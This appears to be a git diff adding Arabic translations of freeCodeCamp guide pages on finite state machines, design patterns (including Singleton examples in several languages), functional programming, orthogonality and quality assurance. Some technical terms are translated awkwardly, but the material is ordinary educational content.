+في كل حالة هناك سلوك محدد يتم تنفيذه فقط عندما يكون الكائن في هذه الحالة. على سبيل المثال ، أثناء تشغيل الآلة ، لن تقوم آلة القهوة بتجربة القهوة قبل تشغيلها ، أثناء حالة الفتح ستنتظر إما حتى يكون هناك نقود كافية تم إدخالها ، حتى يتم إعطاء أمر خفض الطاقة ، أو حتى نفاد القهوة. خلال هذه الحالة المفتوحة ، يمكن أن يقوم بعمليات روتينية مثل التنظيف والتي لن تحدث في حالات أخرى.
+
+### الحالة الأولية
+
+كل حالة FSM لها حالة أولية ، وهذا يعني الحالة التي تبدأ عندها عند إنشائها ويجب أن يتم تعريفها عند إنشاءها أو إنشاءها. بالطبع من الممكن تغيير الحالة مباشرة إذا تم استيفاء الشروط.
+
+### الانتقالات
+
+كل ولاية إما أن تقيم باستمرار إذا كان يجب أن تنتقل إلى دولة أخرى أو سوف تنتقل إلى دولة أخرى على أساس حدث أثار.
+
+## DFA و NFA
+
+هناك نوعان من automaton محدود ، Deterministic (DFA) و Nondeterministic (NFA). كلاهما يقبل اللغات العادية ويعمل بشكل أكثر أو أقل بنفس الطريقة الموضحة أعلاه مع بعض الاختلافات.
+
+يقبل DFA سلسلة من الرموز أو يرفضها وينتج فقط حسابًا فريدًا واحدًا أو آليًا لكل سلسلة إدخال. _Deterministic_ يشير إلى uniquness الحساب. تسمى آلة الحالة المحددة بـ DFA إذا كانت تتوافق مع القواعد التالية:
+
+1.  يتم تحديد كل من انتقالاته _بشكل فريد_ من خلال رمز المصدر ورمز الإدخال الخاص به
+2.  مطلوب قراءة رمز إدخال لكل حالة انتقال.
+
+لا يحتاج NFA إلى الالتزام بهذه القيود ، وهذا يعني أن كل DFA هو أيضًا NFA. وبما أنهما يتعرفان على اللغات العادية فقط ، يمكن تحويل كل NFA إلى DFA مكافئ باستخدام خوارزمية إنشاء powerset.
+
+إذن ما نوع القواعد التي يمكن أن نتوقع العثور عليها في NFAs وليس DFAs؟
+
+1.  يمكن أن يكون لدى NFA انتقال _سلسلة فارغ_ (يتم الإشارة إليه بشكل عام بواسطة epsilon). بمعنى أنه في حالة معينة مع epsilon لقاعدة انتقال ، يمكن للجهاز الانتقال إلى الحالة التالية دون قراءة رمز الإدخال
+2.  في NFA ، يمكن أن يكون لكل زوج من رمز الدولة والانتقال حالات وجهة متعددة بدلاً من الوجهات الفريدة للأزواج في DFAs
+3.  ينتج كل زوج من رمز الحالة والانتقال "فرع" حساب لكل من وجهته المحتملة بإنشاء نوع من نظام مؤشرات ترابط متعددة.
+4.  سترفض DFA سلسلة الإدخال إذا كانت تسقط على أي حالة أخرى غير حالة القبول. في NFA ، نحتاج فقط إلى "فرع" واحد للهبوط على حالة قبول من أجل قبول السلسلة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/design-patterns/index.md b/client/src/guide/arabic/software-engineering/design-patterns/index.md
new file mode 100644
index 0000000000..969810a460
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/design-patterns/index.md
@@ -0,0 +1,47 @@
+---
+title: Design Patterns
+localeTitle: أنماط التصميم
+---
+## أنماط التصميم
+
+يستخدم المبرمجون ومهندسو البرمجيات أنماطًا للتصميم لحل المشكلات **الشائعة والمتكررة** في بنية البرامج. توفر الأنماط منهجًا لاغيا لغويا **للبرامج الموجهة للكائنات** التي تساعد المطورين على اتباع مبادئ التصميم الجيد للتطبيق.
+
+### لماذا تصميم الأنماط؟
+
+يوفر تطوير أنماط التصميم العديد من المزايا:
+
+*   من السهل اتباع مبادئ البرمجة الجيدة مثل **[مبادئ](https://medium.com/@cramirez92/s-o-l-i-d-the-first-5-priciples-of-object-oriented-design-with-javascript-790f6ac9b9fa) [SOLID](https://www.youtube.com/watch?v=XzdhzyAukMM) .**
+*   إنها تحافظ قطع كود أصغر حتى متاحة أسهل **لاختبار** **والتصحيح**
+*   فهو يساعد في الحفاظ على الشفرة مقترنة بشكل فضفاض حتى يسهل **إعادة استخدام** الكود **وتحديثه** للتطبيقات الجديدة
+*   إنه يسهل **فهم** الشفرة ، بحيث يمكن للمساهمين الجدد أن **يكبروا بسرعة**
+
+استخدام أنماط التصميم يتطلب بعض المقايضات ، ويجب على مطوري البرامج الجدد أن يتذكروا ما يلي:
+
+*   لا **توجد رصاصات فضية** في البرمجة ، وأنماط التصميم ليست استثناء
+*   وتضيف أنماط التصميم **طبقة من التجريد** إلى الشفرة ، مما يزيد من التصميم الأولي والجهد الإنمائي
+*   إن الإفراط في استخدام أنماط التصميم أو إجبارها على ملاءمتها يجعل من **الصعب** فهم الشفرة
+
+### دعم اللغة
+
+نشأت أنماط التصميم من عالم اللغات المكتوبة بشكل ثابت مثل C ++ و Java و C #. تعتمد معظم الموارد حول التطوير حسب نمط التصميم على واحدة من هذه اللغات.
+
+ومع ذلك ، فإن أنماط التصميم هي فقط: الأنماط. فهي **ليست تطبيقات** ، مثل الطبقات أو الواجهات ، **وليست مقيدة لأي لغة واحدة** .
+
+عندما تتعلم أنماط التصميم داخل لغة ديناميكية ، إذا بدت أنماط معينة معقدة بدون داع أو غير بديهية ، تذكر أصولها. لا يزال بإمكان المطورين في اللغات الديناميكية استخدام أنماط التصميم التالية والاستفادة منها ، على الرغم من أنه قد يلزم المزيد من الأبحاث لفهمها بشكل كامل.
+
+### الاستخدامات
+
+أنماط التصميم ممتازة في حل مشاكل الترميز الأساسية بطريقة بسيطة ومتكررة. على نطاق واسع ، تنقسم إلى ثلاث فئات:
+
+*   الأنماط **الإبداعية** تصف كيفية إنشاء كائنات جديدة
+*   تصف الأنماط **الهيكلية** كيفية إنشاء الكائنات خارج الكائنات الأخرى
+*   الأنماط **السلوكية** تصف كيف تتواصل الكائنات مع بعضها البعض
+
+يمكن تنفيذ هذه المهام بدون أنماط تصميم ، ولكن أنماط التصميم **تقلل من مخاطر** أنك ستنتهك الممارسات الجيدة وإنشاء كود يصعب الحفاظ عليه.
+
+#### معلومات اكثر:
+
+*   [أنماط تصميم](https://github.com/kamranahmedse/design-patterns-for-humans) كامران أحمد [للبشر](https://github.com/kamranahmedse/design-patterns-for-humans) هي مقدمة ممتازة للأنماط المحددة
+*   [أنماط التصميم](https://en.wikipedia.org/wiki/Design_Patterns) هو الكتاب الذي بدأ هذه الممارسة
+*   توفر [أنماط](https://martinfowler.com/eaaCatalog/) مارتن فاولر [من هندسة التطبيقات التطبيقية](https://martinfowler.com/eaaCatalog/) مجموعة من الأنماط الأكثر تطوراً لتطبيقات المؤسسات
+*   يوفر Sourcemaking موردًا [عبر الإنترنت](https://sourcemaking.com/design_patterns) يحتوي على أمثلة ومعلومات إضافية حول أنماط التصميم
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/design-patterns/observer/index.md b/client/src/guide/arabic/software-engineering/design-patterns/observer/index.md
new file mode 100644
index 0000000000..4e09053721
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/design-patterns/observer/index.md
@@ -0,0 +1,17 @@
+---
+title: Observer pattern
+localeTitle: نمط المراقب
+---
+يقدم نموذج Observer نموذج اشتراك حيث تشارك الكائنات في حدث ويتم إعلامك عند وقوع الحدث.
+
+## نمط المراقب
+
+هذا النمط هو أساس البرمجة المعتمدة على الحدث. في Front End Development ، يعد هذا نمطًا أساسيًا لتوسيع نطاق منطق التطبيق الخاص بك. في هذا النمط ، تحدث فرقاً بين **الموضوع** **والمراقبين** . الموضوعات هي الأحداث نفسها مثل _نقرة_ أو _ضغطة مفتاح_ أو إشارة من الخادم. يتم إعلام جميع **المراقبين** المشتركين عندما تتغير حالة الموضوع (عند إطلاق الحدث). لمزيد من المعلومات حول الأحداث اقرأ هنا [برمجة Evenet Drived](https://www.technologyuk.net/software-development/designing-software/event-driven-programming.shtml)
+
+### الاشتراك
+
+تتمثل ميزة هذا النمط في وجود مجموعة من الكائنات المشتركة التي تستجيب لحدث ما بدلاً من استدعاء دالة على كل كائن يجب إعلامه. ميزة أخرى هي أن المراقبين مشتركين من خلال واجهة ، والتي تسمح للتغييرات في وظيفة الحدث ليكون فقط داخل الوظيفة.
+
+## موارد آخرى
+
+رمز المثال وأكثر في [Observer Design Pattern](http://www.dofactory.com/javascript/observer-design-pattern)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/design-patterns/singleton/index.md b/client/src/guide/arabic/software-engineering/design-patterns/singleton/index.md
new file mode 100644
index 0000000000..4a101d7acd
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/design-patterns/singleton/index.md
@@ -0,0 +1,149 @@
+---
+title: Singleton
+localeTitle: الورقة المفردة
+---
+المفرد هو نمط تصميم يقيد إنشاء مثيل لفئة إلى كائن واحد. من المفيد عندما تريد إعطاء كائن واحد فقط القدرة على تنسيق الإجراءات عبر التطبيق الخاص بك.
+
+## سينجلتون في Android
+
+Singleton هو نمط تصميم غالبًا ما يستخدم في Android. يمكن إساءة استخدامه بسهولة وبالتالي يمكن أن يصعب الحفاظ على التطبيق. وهي مفيدة في Android لأنها تعيش عبر الأجزاء والأنشطة والدوران.
+
+*   غالبًا ما يتم استخدام Singletons في Android لتخزين البيانات المؤقتة
+*   أنها تسمح للتطبيق أن يكون لديك مالك واحد للبيانات ويوفر طريقة سهلة لتمرير البيانات بين فئات وحدة التحكم
+*   يتم إتلاف Singletons عندما يزيل Android تطبيقك من الذاكرة
+*   يمكن أن تجعل Singletons من الصعب اختبار وحدة تطبيقك
+
+ `public class DataStore { 
+  private static DataStore sDataStore; 
+  private List<Data> mData; 
+ 
+  public static DataStore get(Context context) { 
+    if (sDataStore == null) { 
+      sDataStore = new DataStore(context); 
+    } 
+    return sDataStore; 
+  } 
+ 
+  // Make constructor private to prevent other classes from creating a DataStore instance 
+  private DataStore(Context context) { 
+    mData = new ArrayList<>(); 
+  } 
+ 
+  // The only way for other classes to get data from DataStore 
+  public List<Data> getData() { 
+    return mData; 
+  } 
+ } 
+` 
+
+## سينجلتون في PHP
+
+> يتم استخدام منشئ خاص لمنع الإنشاء المباشر للكائنات من الفئة. الطريقة الوحيدة لإنشاء مثيل من الفئة هي باستخدام أسلوب ثابت يقوم بإنشاء الكائن فقط إذا لم يكن قد تم إنشاؤه بالفعل.
+
+ `Class Singleton { 
+ 
+  // Hold the class instance 
+  private static $instance = null; 
+ 
+  /** 
+  * The constructor is private 
+  * it is ensure the class can be initialized only from itself 
+  */ 
+  private function __construct(){} 
+ 
+  /** 
+  * Return the singleton instance of this class 
+  * 
+  * @return Singleton 
+  */ 
+  public static function getInstance() 
+  { 
+    if (self::$instance == null) 
+    { 
+      self::$instance = new Singleton(); 
+    } 
+ 
+    return self::$instance; 
+  } 
+ 
+ } 
+ 
+ $obj1 = Singleton::getInstance(); 
+ $obj2 = Singleton::getInstance(); 
+` 
+
+## سينجلتون في C
+
+النسخة الأكثر أناقة وبسيطة وعالية الأداء من النمط باستخدام [System.Lazy \\](http://msdn.microsoft.com/en-us/library/dd642331.aspx) اكتب من .NET 4.0 أو أعلى.
+
+ `public sealed class Singleton 
+ { 
+    private static readonly Lazy<Singleton> lazy = new Lazy<Singleton>(() => new Singleton()); 
+ 
+    public static Singleton Instance { get { return lazy.Value; } } 
+ 
+    private Singleton() 
+    { 
+    } 
+ } 
+` 
+
+## سينجلتون في Python3
+
+يمكننا استخدام metaclass لتطبيق Singleton في Python3.
+
+ `class Singleton(type): 
+    # Mapping from a class to its singleton instance 
+    _instances = {} 
+ 
+    def __call__(cls, *args, **kwargs): 
+        if cls not in Singleton._instances: 
+            Singleton._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) 
+ 
+        return Singleton._instances[cls] 
+ 
+ 
+ class MyClass(metaclass=Singleton): 
+    pass 
+` 
+
+### اختبارات
+
+ `obj_0 = MyClass() 
+ obj_1 = MyClass() 
+ 
+ In [2]: obj_0 
+ Out[2]: <__main__.MyClass at 0x111130da0> 
+ 
+ In [3]: obj_1 
+ Out[3]: <__main__.MyClass at 0x111130da0> 
+` 
+
+## سينجلتون في دائرة الرقابة الداخلية
+
+ `class Singleton { 
+  static let sharedInstance = Singleton() 
+ 
+    init() { 
+        print("Singleton has been initialized") 
+    } 
+ 
+    //write your functions here 
+    func sampleFunction() { 
+    } 
+ } 
+ 
+ //Uses 
+ Singleton.sharedInstance.sampleFunction() 
+` 
+
+هذا الرمز البسيط موجود بالكامل لتنفيذ نمط تصميم مفرد في نظام iOS باستخدام Swift. نضع `static` نظرًا لأنه خاصية كتابة ، وتتمثل وظيفته في إنشاء مثيل واحد فقط لكائن ما ومنع طريقته من التجاوز. استخدام `let` سوف يضمن أن قيمة sharedInstance لن تتغير.
+
+من المهم ملاحظة أن الخصائص والأساليب `static` هي تهيئة بطيئة افتراضياً بمعنى أنه لن يتم إنشاء مثيل لها حتى يتم استدعاؤها ، وبالتالي توفر بعض التحسين.
+
+## معلومات اكثر
+
+لمزيد من المعلومات ، قم بزيارة الروابط التالية:
+
+*   [MSDN: تطبيق Singleton في C #](https://msdn.microsoft.com/en-us/library/ff650316.aspx)
+*   [C # في العمق. تنفيذ نمط Singleton في C #](http://csharpindepth.com/Articles/General/Singleton.aspx)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/functional-programming/index.md b/client/src/guide/arabic/software-engineering/functional-programming/index.md
new file mode 100644
index 0000000000..a4a1619b02
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/functional-programming/index.md
@@ -0,0 +1,44 @@
+---
+title: Functional Programming
+localeTitle: برمجة وظيفية
+---
+## برمجة وظيفية
+
+البرمجة الوظيفية هي عملية بناء البرمجيات عن طريق تكوين **وظائف نقية** ، وتجنب **الحالة المشتركة** ، **والبيانات** **القابلة** **للتغيير** ، **والآثار الجانبية** . البرمجة الوظيفية هي **تعريفية** (تخبر الكمبيوتر بما تريد أن تفعله) بدلاً من **حتمية** (إخبار الكمبيوتر بالضبط كيف تفعل ذلك) ، وتتدفق حالة التطبيق من خلال وظائف نقية. قارنها بالبرمجة الموجهة للكائنات ، حيث تتم مشاركة حالة التطبيق عادة وتشترك مع طرق في الكائنات.
+
+### لماذا البرمجة الوظيفية؟
+
+*   انها عموما أكثر إيجازا
+*   انها عموما أكثر قابلية للتنبؤ
+*   من السهل اختباره من الكود الموجه للكائن
+
+### تبني لغات البرمجة
+
+تدعم العديد من لغات البرمجة البرمجة الوظيفية مثل Haskell و F # و Common Lisp و Clojure و Erlang و OCaml. يحتوي JavaScript أيضًا على خصائص لغة وظيفية غير مقيدة.
+
+### الاستخدامات
+
+لطالما كانت البرمجة الوظيفية شائعة في الأوساط الأكاديمية ، ولكن مع عدد قليل من التطبيقات الصناعية. ومع ذلك ، فقد تم مؤخراً استخدام العديد من لغات البرمجة الوظيفية البارزة في الأنظمة التجارية أو الصناعية. على سبيل المثال ، يتم استخدام لغة برمجة Erlang ، التي طورتها شركة Ericsson السويدية في أواخر الثمانينات ، لبناء مجموعة من التطبيقات في شركات مثل T-Mobile و Nortel و Facebook و Électricité de France و WhatsApp.
+
+### وظائف الترتيب العالي
+
+وظائف الدرجة العليا هي جزء كبير من البرمجة الوظيفية. دالة الترتيب الأعلى هي دالة تقوم إما بدالة (وظائف) كمعلمة أو تقوم بإرجاع دالة.
+
+### خريطة
+
+`map` هي دالة ذات ترتيب أعلى تستدعي دالة لكل عنصر من عناصر القائمة ، وتقوم بإرجاع النتائج كقائمة _جديدة_ .
+
+في ما يلي مثال على `map` :
+
+ `const myList = [6, 3, 5, 29]; 
+ 
+ let squares = myList.map(num => num * num); // [36, 9, 25, 841] 
+` 
+
+### معلومات اكثر:
+
+*   [ويكيبيديا - برمجة وظيفية](https://en.wikipedia.org/wiki/Functional_programming#Use_in_industry)
+    
+*   [KeyCDN - البرمجة الوظيفية - ما هو ولماذا يهم؟](https://www.keycdn.com/blog/functional-programming/)
+    
+*   [متوسطة - ما هي البرمجة الوظيفية؟](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/index.md b/client/src/guide/arabic/software-engineering/index.md
new file mode 100644
index 0000000000..60fe65c47f
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/index.md
@@ -0,0 +1,25 @@
+---
+title: Software Engineering
+localeTitle: هندسة البرمجيات
+---
+## هندسة البرمجيات
+
+مجال **هندسة البرمجيات** هو دراسة التقنيات والاستراتيجيات من أجل إدارة دورة حياة تطوير البرمجيات بكفاءة.
+
+إذا كنت تكتب نصوصًا برمجية قد يتم استخدامها مرة واحدة أو مرتين ، فقد يتم تطبيق مبادئ هندسة البرمجيات بشكل كبير. ومع ذلك ، مع تزايد حجم مشاريع البرامج وتوقع الاستخدام المستمر في المستقبل ، تصبح مبادئ هندسة البرمجيات ذات أهمية متزايدة.
+
+وتتراوح دورة حياة تطوير البرمجيات بالكامل من إنشاء الأفكار وتصميم البرامج إلى صيانة البرامج المتقدمة مع مرور الوقت.
+
+قد تفكر في هندسة البرمجيات على أنها فقط كيف تقوم بترميز شيء ما وتحافظ عليه. ومع ذلك ، فإن أحد الجوانب الهامة في هندسة البرمجيات التي قد لا تفكر فيها هو الممارسة الأخلاقية لتطوير البرمجيات.
+
+في هذا العصر حيث يمكن استخدام البرامج بشكل ضار لسرقة المعلومات أو إلحاق الضرر بها إذا تم تنفيذ البرنامج بشكل غير صحيح ، يجب أن يكون مهندسو البرمجيات (أو الممارسون) على دراية بواجباتهم في تطوير البرامج بطريقة أخلاقية.
+
+### معلومات اكثر:
+
+*   [هندسة البرمجيات بواسطة Sommerville](http://iansommerville.com/software-engineering-book/) - رفيق الموقع للكتاب مع الشرائح الشرائح لكل فصل
+*   [دليل هيئة هندسة البرمجيات للمعرفة](https://www.computer.org/web/swebok)
+*   [هندسة البرامج راديو](http://www.se-radio.net/) - بودكاست لمطوري البرمجيات المهنية
+*   [هندسة البرمجيات اليومية](https://softwareengineeringdaily.com/)
+*   [قائمة برعاية هندسة مدونات](https://github.com/kilimchoi/engineering-blogs)
+*   [مدونة هندسة البرمجيات من الأخلاقيات والممارسات المهنية](http://www.acm.org/about/se-code)
+*   [ويكيبيديا المادة](https://en.wikipedia.org/wiki/Software_engineering)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/iron-triangle-or-pick-two/index.md b/client/src/guide/arabic/software-engineering/iron-triangle-or-pick-two/index.md
new file mode 100644
index 0000000000..e6d938393e
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/iron-triangle-or-pick-two/index.md
@@ -0,0 +1,17 @@
+---
+title: The Iron Triangle, or "Pick Two"
+localeTitle: المثلث الحديدي ، أو "اختر اثنين"
+---
+# المثلث الحديدي ، أو "اختر اثنين"
+
+تطوير البرامج عبارة عن سلسلة من المقايضات بين الميزات التي يتم تنفيذها ، ونوعية الميزات ، والمدة التي يستغرقها الإنتاج. ولكن ، بغض النظر عن مقدار الجهد المبذول ، لا يمكن للمرء تحقيق أقصى قدر ممكن من هذه الثلاث دون زيادة تكلفة المشروع. بالنسبة لتطوير البرامج ، غالبًا ما ترتبط التكلفة مباشرةً بعدد الأشخاص الذين تم تعيينهم للعمل في المشروع. يتم تلخيص هذا المفهوم غالبًا باسم "اختر اثنين: الجودة والسرعة والميزات".
+
+يتم توضيح هذه العلاقة بين الجودة والميزات والسرعة والتكلفة عن طريق تخيل مثلث ذو حجم ثابت مع حجم يجري الجودة. يمكن للمرء أن يزيد من سرعة التنفيذ والميزات ، ولكن الجودة ستعاني إذا لم تتغير التكلفة ، الحفاظ على حجم المثلث نفسه.
+
+يفترض أن تكون التكلفة المتكررة ثابتة لأنه في معظم الحالات تكون التكلفة ثابتة ولا توجد ميزانية لإضافة المزيد من الناس ولا يوجد أشخاص متاحين للنقل من مشاريع أخرى. ![شكل توضيحي لمثلث الحديد مع النطاق والموارد والجدول الزمني والجودة](http://www.ambysoft.com/artwork/ironTriangle.jpg)
+
+* * *
+
+## مصادر:
+
+*   مقال [المثلث الحديدي المكسور Anti-Pattern](http://www.ambysoft.com/essays/brokenTriangle.html) Classic لـ [Scott Ambler](https://en.wikipedia.org/wiki/Scott_Ambler)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/orthogonality/index.md b/client/src/guide/arabic/software-engineering/orthogonality/index.md
new file mode 100644
index 0000000000..4e1ee10589
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/orthogonality/index.md
@@ -0,0 +1,35 @@
+---
+title: Orthogonality
+localeTitle: التعامد
+---
+## التعامد
+
+في هندسة البرمجيات ، يعتبر النظام متعامدًا إذا أدى تغيير أحد مكوناته إلى تغيير حالة ذلك المكون فقط. على سبيل المثال ، ضع في اعتبارك برنامجًا يحتوي على ثلاثة متغيرات: a ، b ، و c. يجب ألا يغيّر تغيير قيمة a ، قيمة b ، أو c ، بشرط أن تكون مستقلة. تعتبر هذه الخاصية حاسمة بشكل خاص في تصحيح الأخطاء في أحد البرامج حيث يعتمد أحدها على تضييق عدد الأجزاء المتحركة في البرنامج لتحديد السبب الرئيسي للمشكلة.
+
+انظر الاقتباس التالي من Eric S. Raymond "Art of UNIX programming"
+
+> التعامدية (Orthogonality) هي واحدة من أهم الخصائص التي يمكن أن تساعد في جعل التصميمات المعقدة مضغوطة. في تصميم متعامد بحتة ، فإن العمليات لا يكون لها آثار جانبية. كل إجراء (سواء كان استدعاء API أو استدعاء ماكرو أو عملية لغة) يغير شيئًا واحدًا دون التأثير على الآخرين. هناك طريقة واحدة وحيدة لتغيير كل خاصية مهما كان النظام الذي تتحكم فيه.
+
+التعامدية (Orthogonality) هو مبدأ تصميم برمجي لكتابة المكونات بطريقة لا يؤثر فيها عنصر واحد على مكونات أخرى. إنه مزيج من اثنين من المبادئ الأخرى ، وهما التماسك القوي والربط الفضفاض.
+
+التعامد هو مصطلح مستعار من الرياضيات. على سبيل المثال ، خطان متعامدان إذا كانا متعامدين. في تصميم البرامج ، يكون المكونان متعامدين إذا كان التغيير في أحدهما لا يؤثر على الآخر.
+
+يؤدي تطبيق هذا المفهوم إلى فئات أو أقسام أخرى من التعليمة البرمجية إلى تقليل اقتران المستخدم. أن تكون فئتين متعامدين لا يمكن أن تعتمد على تنفيذ بعضها البعض. لا يمكنهم أيضًا مشاركة البيانات العالمية. لا يؤثر تغيير الأجزاء الداخلية لفئة واحدة على الفئة الأخرى. يجب أن تكون المكونات مستقلة ولا تتحمل سوى مسؤولية واحدة.
+
+ضع في اعتبارك طريقة قراءة قائمة أرقام من ملف وإرجاعها في ترتيب تم فرزها. الآن تتغير المتطلبات والأرقام موجودة في قاعدة البيانات. قد يؤدي تعديل هذه الطريقة للوصول إلى قاعدة البيانات إلى تغيير رمز العميل. إذا كانت هذه طريقتين مختلفتين ، فلن يؤثر مصدر جديد على طريقة الفرز. فقط رمز العميل يجب أن يعرف مصدر الأرقام.
+
+### تماسك قوي
+
+داخل مكون البرنامج ، يجب أن تكون الشفرة مرتبطة بقوة. هذا هو إشارة إلى أن التعليمة البرمجية مقسمة بشكل صحيح. إذا كان للمكوِّن جزءان أو أكثر من أجزاء غير متصلة نسبيًا ، فقد يشير ذلك إلى أن هذه الأجزاء يجب أن تكون في مكون مختلف أو على جزء منها.
+
+### اقتران فضفاض
+
+بين مكونات البرامج ، يجب أن يكون هناك عدد قليل من الاتصالات. إذا اقترن المكونان بقوة ، فقد يشير ذلك إلى أنهما بحاجة إلى مكون واحد ، أو أنهما بحاجة إلى تقسيم مختلفين إلى مكونات أكثر.
+
+#### معلومات اكثر:
+
+*   [تعامديه (برمجة) | ويكيبيديا](https://en.wikipedia.org/wiki/Orthogonality_(programming))
+*   [مبادئ البرمجة المتعامدة للكائنات المتعامدة jasoncoffin.com](http://www.jasoncoffin.com/cohesion-and-coupling-principles-of-orthogonal-object-oriented-programming/)
+*   [GRASP - مبادئ تصميم وجوه المنحى | ويكيبيديا](https://en.wikipedia.org/wiki/GRASP_(object-oriented_design)
+
+Stack Overflow: ما هي التعامدية ؟. https://stackoverflow.com/questions/1527393/what-is-orthogonality
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/quality-assurance/index.md b/client/src/guide/arabic/software-engineering/quality-assurance/index.md
new file mode 100644
index 0000000000..0cb4e570d9
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/quality-assurance/index.md
@@ -0,0 +1,81 @@
+---
+title: Quality Assurance
+localeTitle: تاكيد الجودة
+---
+## تاكيد الجودة
+
+ضمان الجودة (المعروف باسم QA) هو الوسيلة التي يتم من خلالها فحص المنتج قيد التطوير للتأكد من أنه يعمل كما هو مفترض. تختلف الأساليب الفعلية المستخدمة في عمليات ضمان الجودة بشكل كبير اعتمادًا على حجم المنتج وطبيعته.
+
+بالنسبة لمشروع شخصي ، من المحتمل أن تختبره فقط بينما تذهب ، وتطلب من الآخرين تقديم تعليقاتهم في المراحل المناسبة. وعلى النقيض من ذلك ، يجب أن يكون لكل تطبيق من التطبيقات المصرفية فحص كل جانب من جوانب كل ميزة ومراجعتها للتأكد من أنها وظيفية وآمنة.
+
+بغض النظر عن مدى كون عملية ضمان الجودة رسمية أو مفصلة ، فإن هدفها هو تحديد الأخطاء حتى يمكن حلها قبل إصدار المنتج.
+
+### المنهجيات
+
+#### ذكي
+
+في نهج رشيق للتنمية ، فإن الهدف هو أن كل دورة من العمل ('sprint') تنتج برامج تشغيل يمكن إضافتها وتحسينها على نحو متكرر. وهذا يجعل عملية ضمان الجودة تعالج جزءًا جوهريًا من دورة التطوير. من خلال اختبار مكونات البرامج في كل مرحلة من مراحل إنتاجها ، فإنك تقلل من خطر وجود أخطاء في الإصدار.
+
+### المصطلح
+
+#### اختبار الأتمتة
+
+يتم الاختبار باستخدام نصوص مكتوبة مسبقًا ومصممة للتحكم في تنفيذ الاختبارات.
+
+#### صندوق اسود
+
+لا ينظر هذا الاختبار داخل النظام قيد الاختبار ، ولكنه يعامله على أنه "مغلق" بنفس الطريقة التي سيختبره بها المستخدم النهائي.
+
+#### خلل
+
+أي انحراف عن مواصفات التطبيق يشار إليها في كثير من الأحيان باسم "علة".
+
+#### اختبار استكشافي
+
+منهج غير مُختبَر للاختبار ، يعتمد على الإبداع الفريد للمُختبِر في محاولة للعثور على أخطاء مجهولة وتحديد الانحدار.
+
+#### اختبار التكامل
+
+اختبار المكونات / الوحدات الفردية معًا للتأكد من أنها تتواصل وتتفاعل بشكل جيد مع بعضها البعض.
+
+#### اختبار المسار السلبي
+
+سيناريو اختبار مصمم لإنتاج حالة خطأ في ميزة / تطبيق والتحقق من معالجة الخطأ بأمان. مثال على ذلك هو إدخال سلسلة من الأرقام في حقل البريد الإلكتروني في نموذج تسجيل مستخدم والتحقق للتأكد من عدم قبول التسجيل حتى يتم تقديم عنوان بريد إلكتروني فعلي.
+
+#### اختبار الانحدار
+
+تم إجراء الاختبار على بنية جديدة للتأكد من أن الوظائف الجديدة لم تقلل الوظائف التي تم اختبارها سابقًا عن غير قصد.
+
+#### اختبارات الدخان
+
+يعمل أسلوب الحد الأدنى للاختبار المقصود لضمان الوظيفة الأساسية قبل إجراء المزيد من الاختبارات المتعمقة. يحدث عادة في بداية عملية الاختبار.
+
+#### حالة اختبار
+
+الشروط المسبقة المحددة والخطوات والنتائج المتوقعة المشار إليها بواسطة اختبار / مهندس ضمان الجودة لتحديد ما إذا كانت الميزة تؤدي مهمتها كما هو متوقع أم لا.
+
+#### صندوق أبيض
+
+يشير إلى الاختبارات التي يتم إجراؤها على مستوى هيكلي ، ضمن التعليمات البرمجية. يقوم المبرمجون بالتحقق من أن المدخلات والمخرجات من وظائف أو مكونات محددة ستكون اختبار مربع أبيض.
+
+يُعرف أيضًا باسم 'Glass Box' ، 'Clear Box' ، 'Transparent Box' لأن المختبر يمكنه 'رؤية داخل' النظام قيد الاختبار.
+
+الفئات الرئيسية هي
+
+*   **اختبارات الوحدة** (وحدات فردية من الكود تفعل ما ينبغي لها)
+*   **اختبارات التكامل** (الوحدات / المكونات تتفاعل مع بعضها البعض بشكل صحيح)
+*   **اختبارات الانحدار** (إعادة اختبار الاختبارات في مراحل لاحقة من التطوير لضمان استمرار عملها)
+
+هناك ثلاث تقنيات رئيسية:
+
+*   **تقسيم التكافؤ** (قيم المدخلات المختبرة تمثل مجموعات بيانات أكبر للدخل)
+*   **تحليل القيمة الحدودية** (يتم اختبار النظام باستخدام المدخلات المختارة حيث يتغير السلوك وبالتالي يجب تغيير الناتج)
+*   **الرسوم البيانية المسبب للمفعول** (الاختبارات مصممة من رؤية لعلاقات المدخلات والمخرجات)
+
+### موارد آخرى
+
+[تطوير اختبار مدفوعة (دليل freeCodeCamp)](https://guide.freecodecamp.org/agile/test-driven-development)
+
+# [اختبارات الوحدة (دليل FreeCodeCamp)](https://guide.freecodecamp.org/software-engineering/unit-tests/)
+
+[أساسيات اختبار البرامج](http://softwaretestingfundamentals.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/scalability-cube/index.md b/client/src/guide/arabic/software-engineering/scalability-cube/index.md
new file mode 100644
index 0000000000..abf215dc20
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/scalability-cube/index.md
@@ -0,0 +1,11 @@
+---
+title: Scalability Cube
+localeTitle: قابلية التوسع
+---
+## قابلية التوسع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/software-engineering/scalability-cube/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/tco-tail-call-optimization/index.md b/client/src/guide/arabic/software-engineering/tco-tail-call-optimization/index.md
new file mode 100644
index 0000000000..75bbfa150b
--- /dev/null
